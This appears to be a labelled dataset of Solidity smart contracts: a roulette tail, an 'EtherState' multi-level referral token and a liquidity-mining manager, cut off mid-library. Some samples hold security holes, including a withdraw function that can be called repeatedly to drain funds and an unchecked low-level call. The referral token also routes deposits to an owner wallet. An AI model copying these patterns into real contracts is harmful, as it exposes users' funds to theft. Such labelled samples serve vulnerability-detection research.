REJECTED
}
struct Game {
uint8 status;
uint8 wheelResult;
address player;
uint256 targetBlock;
bytes32 betTypes;
bytes32 first16;
bytes32 second16;
}
function queryGameStatus(uint gameId) external view returns(uint8) {
Game memory game = gameHistory[gameId];
return uint8(game.status);
}
function queryBetUnit() external view returns(uint) {
return BET_UNIT;
}
function queryGameHistory(uint gameId) external view returns(
address player, uint256 targetBlock, uint8 status, uint8 wheelResult,
bytes32 betTypes, bytes32 first16, bytes32 second16
) {
Game memory g = gameHistory[gameId];
player = g.player;
targetBlock = g.targetBlock;
status = g.status;
wheelResult = g.wheelResult;
betTypes = g.betTypes;
first16 = g.first16;
second16 = g.second16;
}
function queryGameHistoryLength() external view returns(uint length) {
return gameHistory.length;
}
} | 0 | 1,028 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ReferTokenERC20Basic is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) depositBalances;
mapping(address => uint256) rewardBalances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= rewardBalances[msg.sender]);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_value);
rewardBalances[_to] = rewardBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return rewardBalances[_owner];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract PackageContract is ReferTokenERC20Basic, MintableToken {
uint constant daysPerMonth = 30;
mapping(uint => mapping(string => uint256)) internal packageType;
struct Package {
uint256 since;
uint256 tokenValue;
uint256 kindOf;
}
mapping(address => Package) internal userPackages;
function PackageContract() public {
packageType[2]['fee'] = 30;
packageType[2]['reward'] = 20;
packageType[4]['fee'] = 35;
packageType[4]['reward'] = 25;
}
function depositMint(address _to, uint256 _amount, uint _kindOfPackage) canMint internal returns (bool) {
return depositMintSince(_to, _amount, _kindOfPackage, now);
}
function depositMintSince(address _to, uint256 _amount, uint _kindOfPackage, uint since) canMint internal returns (bool) {
totalSupply = totalSupply.add(_amount);
Package memory pac;
pac = Package({since : since, tokenValue : _amount, kindOf : _kindOfPackage});
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
userPackages[_to] = pac;
return true;
}
function depositBalanceOf(address _owner) public view returns (uint256 balance) {
return userPackages[_owner].tokenValue;
}
function getKindOfPackage(address _owner) public view returns (uint256) {
return userPackages[_owner].kindOf;
}
}
contract ColdWalletToken is PackageContract {
address internal coldWalletAddress;
uint internal percentageCW = 30;
event CWStorageTransferred(address indexed previousCWAddress, address indexed newCWAddress);
event CWPercentageChanged(uint previousPCW, uint newPCW);
function setColdWalletAddress(address _newCWAddress) onlyOwner public {
require(_newCWAddress != coldWalletAddress && _newCWAddress != address(0));
CWStorageTransferred(coldWalletAddress, _newCWAddress);
coldWalletAddress = _newCWAddress;
}
function getColdWalletAddress() onlyOwner public view returns (address) {
return coldWalletAddress;
}
function setPercentageCW(uint _newPCW) onlyOwner public {
require(_newPCW != percentageCW && _newPCW < 100);
CWPercentageChanged(percentageCW, _newPCW);
percentageCW = _newPCW;
}
function getPercentageCW() onlyOwner public view returns (uint) {
return percentageCW;
}
function saveToCW() onlyOwner public {
coldWalletAddress.transfer(this.balance.mul(percentageCW).div(100));
}
}
contract StatusContract is Ownable {
mapping(uint => mapping(string => uint[])) internal statusRewardsMap;
mapping(address => uint) internal statuses;
event StatusChanged(address participant, uint newStatus);
function StatusContract() public {
statusRewardsMap[1]['deposit'] = [3, 2, 1];
statusRewardsMap[1]['refReward'] = [3, 1, 1];
statusRewardsMap[2]['deposit'] = [7, 3, 1];
statusRewardsMap[2]['refReward'] = [5, 3, 1];
statusRewardsMap[3]['deposit'] = [10, 3, 1, 1, 1];
statusRewardsMap[3]['refReward'] = [7, 3, 3, 1, 1];
statusRewardsMap[4]['deposit'] = [10, 5, 3, 3, 1];
statusRewardsMap[4]['refReward'] = [10, 5, 3, 3, 3];
statusRewardsMap[5]['deposit'] = [12, 5, 3, 3, 3];
statusRewardsMap[5]['refReward'] = [10, 7, 5, 3, 3];
}
function getStatusOf(address participant) public view returns (uint) {
return statuses[participant];
}
function setStatus(address participant, uint8 status) public onlyOwner returns (bool) {
return setStatusInternal(participant, status);
}
function setStatusInternal(address participant, uint8 status) internal returns (bool) {
require(statuses[participant] != status && status > 0 && status <= 5);
statuses[participant] = status;
StatusChanged(participant, status);
return true;
}
}
contract ReferTreeContract is Ownable {
mapping(address => address) public referTree;
event TreeStructChanged(address sender, address parentSender);
function checkTreeStructure(address sender, address parentSender) onlyOwner public {
setTreeStructure(sender, parentSender);
}
function setTreeStructure(address sender, address parentSender) internal {
require(referTree[sender] == 0x0);
require(sender != parentSender);
referTree[sender] = parentSender;
TreeStructChanged(sender, parentSender);
}
}
contract ReferToken is ColdWalletToken, StatusContract, ReferTreeContract {
string public constant name = "EtherState";
string public constant symbol = "ETHS";
uint256 public constant decimals = 18;
uint256 public totalSupply = 0;
uint256 public constant hardCap = 10000000 * 1 ether;
mapping(address => uint256) private lastPayoutAddress;
uint private rate = 100;
uint public constant depth = 5;
event RateChanged(uint previousRate, uint newRate);
event DataReceived(bytes data);
event RefererAddressReceived(address referer);
function depositMintAndPay(address _to, uint256 _amount, uint _kindOfPackage) canMint private returns (bool) {
require(userPackages[_to].since == 0);
_amount = _amount.mul(rate);
if (depositMint(_to, _amount, _kindOfPackage)) {
payToReferer(_to, _amount, 'deposit');
lastPayoutAddress[_to] = now;
}
}
function rewardMint(address _to, uint256 _amount) private returns (bool) {
rewardBalances[_to] = rewardBalances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function payToReferer(address sender, uint256 _amount, string _key) private {
address currentReferral = sender;
uint currentStatus = 0;
uint256 refValue = 0;
for (uint level = 0; level < depth; ++level) {
currentReferral = referTree[currentReferral];
if (currentReferral == 0x0) {
break;
}
currentStatus = statuses[currentReferral];
if (currentStatus < 3 && level >= 3) {
continue;
}
refValue = _amount.mul(statusRewardsMap[currentStatus][_key][level]).div(100);
rewardMint(currentReferral, refValue);
}
}
function AddressDailyReward(address rewarded) public {
require(lastPayoutAddress[rewarded] != 0 && (now - lastPayoutAddress[rewarded]).div(1 days) > 0);
uint256 n = (now - lastPayoutAddress[rewarded]).div(1 days);
uint256 refValue = 0;
if (userPackages[rewarded].kindOf != 0) {
refValue = userPackages[rewarded].tokenValue.mul(n).mul(packageType[userPackages[rewarded].kindOf]['reward']).div(30).div(100);
rewardMint(rewarded, refValue);
payToReferer(rewarded, userPackages[rewarded].tokenValue, 'refReward');
}
if (n > 0) {
lastPayoutAddress[rewarded] = now;
}
}
function() external payable {
require(totalSupply < hardCap);
coldWalletAddress.transfer(msg.value.mul(percentageCW).div(100));
bytes memory data = bytes(msg.data);
DataReceived(data);
address referer = getRefererAddress(data);
RefererAddressReceived(referer);
setTreeStructure(msg.sender, referer);
setStatusInternal(msg.sender, 1);
uint8 kind = getReferralPackageKind(data);
depositMintAndPay(msg.sender, msg.value, kind);
}
function getRefererAddress(bytes data) private pure returns (address) {
if (data.length == 1 || data.length == 0) {
return address(0);
}
uint256 referer_address;
uint256 factor = 1;
for (uint i = 20; i > 0; i--) {
referer_address += uint8(data[i - 1]) * factor;
factor = factor * 256;
}
return address(referer_address);
}
function getReferralPackageKind(bytes data) private pure returns (uint8) {
if (data.length == 0) {
return 4;
}
if (data.length == 1) {
return uint8(data[0]);
}
return uint8(data[20]);
}
function withdraw() public {
require(userPackages[msg.sender].tokenValue != 0);
uint256 withdrawValue = userPackages[msg.sender].tokenValue.div(rate);
uint256 dateDiff = now - userPackages[msg.sender].since;
if (dateDiff < userPackages[msg.sender].kindOf.mul(30 days)) {
uint256 fee = withdrawValue.mul(packageType[userPackages[msg.sender].kindOf]['fee']).div(100);
withdrawValue = withdrawValue.sub(fee);
coldWalletAddress.transfer(fee);
userPackages[msg.sender].tokenValue = 0;
}
msg.sender.transfer(withdrawValue);
}
function createRawDeposit(address sender, uint256 _value, uint d, uint since) onlyOwner public {
depositMintSince(sender, _value, d, since);
}
function createDeposit(address sender, uint256 _value, uint d) onlyOwner public {
depositMintAndPay(sender, _value, d);
}
function setRate(uint _newRate) onlyOwner public {
require(_newRate != rate && _newRate > 0);
RateChanged(rate, _newRate);
rate = _newRate;
}
function getRate() public view returns (uint) {
return rate;
}
} | 1 | 3,840 |
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.8.7;
interface IBasePool {
function distributeRewards(uint256 _amount) external;
}
pragma solidity ^0.8.0;
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
pragma solidity ^0.8.0;
interface IAccessControlEnumerable is IAccessControl {
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity ^0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = valueIndex;
}
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
pragma solidity ^0.8.0;
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
}
pragma solidity 0.8.7;
contract TokenSaver is AccessControlEnumerable {
using SafeERC20 for IERC20;
bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE");
event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount);
modifier onlyTokenSaver() {
require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied");
_;
}
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver {
IERC20(_token).safeTransfer(_receiver, _amount);
emit TokenSaved(_msgSender(), _receiver, _token, _amount);
}
}
pragma solidity 0.8.7;
contract LiquidityMiningManager is TokenSaver {
using SafeERC20 for IERC20;
bytes32 public constant GOV_ROLE = keccak256("GOV_ROLE");
bytes32 public constant REWARD_DISTRIBUTOR_ROLE = keccak256("REWARD_DISTRIBUTOR_ROLE");
uint256 public MAX_POOL_COUNT = 10;
IERC20 immutable public reward;
address immutable public rewardSource;
uint256 public rewardPerSecond;
uint256 public lastDistribution;
uint256 public totalWeight;
mapping(address => bool) public poolAdded;
Pool[] public pools;
struct Pool {
IBasePool poolContract;
uint256 weight;
}
modifier onlyGov {
require(hasRole(GOV_ROLE, _msgSender()), "LiquidityMiningManager.onlyGov: permission denied");
_;
}
modifier onlyRewardDistributor {
require(hasRole(REWARD_DISTRIBUTOR_ROLE, _msgSender()), "LiquidityMiningManager.onlyRewardDistributor: permission denied");
_;
}
event PoolAdded(address indexed pool, uint256 weight);
event PoolRemoved(uint256 indexed poolId, address indexed pool);
event WeightAdjusted(uint256 indexed poolId, address indexed pool, uint256 newWeight);
event RewardsPerSecondSet(uint256 rewardsPerSecond);
event RewardsDistributed(address _from, uint256 indexed _amount);
constructor(address _reward, address _rewardSource) {
require(_reward != address(0), "LiquidityMiningManager.constructor: reward token must be set");
require(_rewardSource != address(0), "LiquidityMiningManager.constructor: rewardSource token must be set");
reward = IERC20(_reward);
rewardSource = _rewardSource;
}
function addPool(address _poolContract, uint256 _weight) external onlyGov {
distributeRewards();
require(_poolContract != address(0), "LiquidityMiningManager.addPool: pool contract must be set");
require(!poolAdded[_poolContract], "LiquidityMiningManager.addPool: Pool already added");
require(pools.length < MAX_POOL_COUNT, "LiquidityMiningManager.addPool: Max amount of pools reached");
pools.push(Pool({
poolContract: IBasePool(_poolContract),
weight: _weight
}));
poolAdded[_poolContract] = true;
totalWeight += _weight;
reward.safeApprove(_poolContract, type(uint256).max);
emit PoolAdded(_poolContract, _weight);
}
function removePool(uint256 _poolId) external onlyGov {
require(_poolId < pools.length, "LiquidityMiningManager.removePool: Pool does not exist");
distributeRewards();
address poolAddress = address(pools[_poolId].poolContract);
totalWeight -= pools[_poolId].weight;
pools[_poolId] = pools[pools.length - 1];
pools.pop();
poolAdded[poolAddress] = false;
reward.safeApprove(poolAddress, 0);
emit PoolRemoved(_poolId, poolAddress);
}
function adjustWeight(uint256 _poolId, uint256 _newWeight) external onlyGov {
require(_poolId < pools.length, "LiquidityMiningManager.adjustWeight: Pool does not exist");
distributeRewards();
Pool storage pool = pools[_poolId];
totalWeight -= pool.weight;
totalWeight += _newWeight;
pool.weight = _newWeight;
emit WeightAdjusted(_poolId, address(pool.poolContract), _newWeight);
}
function setRewardPerSecond(uint256 _rewardPerSecond) external onlyGov {
distributeRewards();
rewardPerSecond = _rewardPerSecond;
emit RewardsPerSecondSet(_rewardPerSecond);
}
function distributeRewards() public onlyRewardDistributor {
uint256 timePassed = block.timestamp - lastDistribution;
uint256 totalRewardAmount = rewardPerSecond * timePassed;
lastDistribution = block.timestamp;
if(pools.length == 0) {
return;
}
if(totalRewardAmount == 0) {
return;
}
reward.safeTransferFrom(rewardSource, address(this), totalRewardAmount);
for(uint256 i = 0; i < pools.length; i ++) {
Pool memory pool = pools[i];
uint256 poolRewardAmount = totalRewardAmount * pool.weight / totalWeight;
address(pool.poolContract).call(abi.encodeWithSelector(pool.poolContract.distributeRewards.selector, poolRewardAmount));
}
uint256 leftOverReward = reward.balanceOf(address(this));
if(leftOverReward > 1) {
reward.safeTransfer(rewardSource, leftOverReward);
}
emit RewardsDistributed(_msgSender(), totalRewardAmount);
}
function getPools() external view returns(Pool[] memory result) {
return pools;
}
}
pragma solidity ^0.8.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b + (a % b == 0 ? 0 : 1);
}
}
pragma solidity ^0.8.0;
interface IERC20Permit {
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function nonces(address owner) external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.0;
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return;
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
